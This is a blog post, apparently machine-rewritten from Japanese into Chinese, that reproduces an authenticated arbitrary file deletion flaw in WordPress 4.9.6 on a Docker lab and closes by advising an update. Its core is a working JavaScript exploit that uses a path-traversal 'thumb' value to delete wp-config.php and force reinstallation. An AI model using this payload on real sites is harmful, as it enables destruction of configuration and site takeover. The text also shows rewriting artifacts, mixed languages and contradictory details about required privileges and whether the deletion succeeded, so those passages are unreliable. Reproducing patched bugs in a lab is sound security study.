我尝试再现了WordPress 4.9.6的漏洞
警告:WordPress 文件删除导致代码执行
有一个视频解释这个问题。
一种可能的改写是:
当执行编辑附件操作时,缩略图参数是由用户输入的,但是由于没有经过检查并与ID关联,所以只要将它们关联起来,就可以利用WordPress应用程序的权限来任意删除,例如删除wp-config.php文件,从而初始化WordPress。
登录时,具有发布者权限及以上的用户可能成为攻击者。
环境建设
根据 Docker Hub 上 WordPress 的参考,创建一个 docker-compose.yml 文件。
- https://hub.docker.com/_/wordpress/
version: '3.1'
services:
wordpress:
image: wordpress:4.9.6
ports:
- 9000:80
environment:
WORDPRESS_DB_PASSWORD: パスワード
mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: パスワード
启动
docker-compose up
-
- 在浏览器中,访问localhost:9000,安装WordPress
-
- 安装完成后,添加一个新的具有投稿者权限的用户
- 用添加的投稿者权限用户登录
![スクリーンショット 2018-07-12 16.53.30.png](https://cdn.silicloud.com/blog-img/blog/img/657cf5af37434c4406bacb99/9-0.png)
确认再次出现
-
- PoCは、exploit-dbにあったものを少し変更して拝借
WordPress < 4.9.6 – (Authenticated) Arbitrary File Deletion
通过媒体进行新加入,添加图像(在此时,上传不包含日语文件名的文件)。
![スクリーンショット 2018-07-12 16.54.15.png](https://cdn.silicloud.com/blog-img/blog/img/657cf5af37434c4406bacb99/13-0.png)
![スクリーンショット 2018-07-12 16.58.34.png](https://cdn.silicloud.com/blog-img/blog/img/657cf5af37434c4406bacb99/14-0.png)
var nonce = document.getElementById("_wpnonce").value
var id = document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"
var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
var READYSTATE_COMPLETED = 4
if (this.readyState == READYSTATE_COMPLETED) {
var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
var data = "action=delete&_wpnonce=" + nonce
var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send(data)
}
}
xhr.send(data)
![スクリーンショット 2018-07-12 17.06.04.png](https://cdn.silicloud.com/blog-img/blog/img/657cf5af37434c4406bacb99/16-0.png)
上传不包含日语文件名的文件事项
这次是因为构建环境的原因,删除文件后会出现奇怪的状态,但却无法删除wp-config.php文件,导致陷入困境。
奇怪的状态。
![スクリーンショット 2018-07-12 16.56.54.png](https://cdn.silicloud.com/blog-img/blog/img/657cf5af37434c4406bacb99/20-0.png)
結果
虽然可以轻松地进行初始化,但必须以高于发布者权限的身份登录,这取决于课程体系,但似乎不是什么威胁。不过,只要进行更新就能解决问题,一定要进行更新。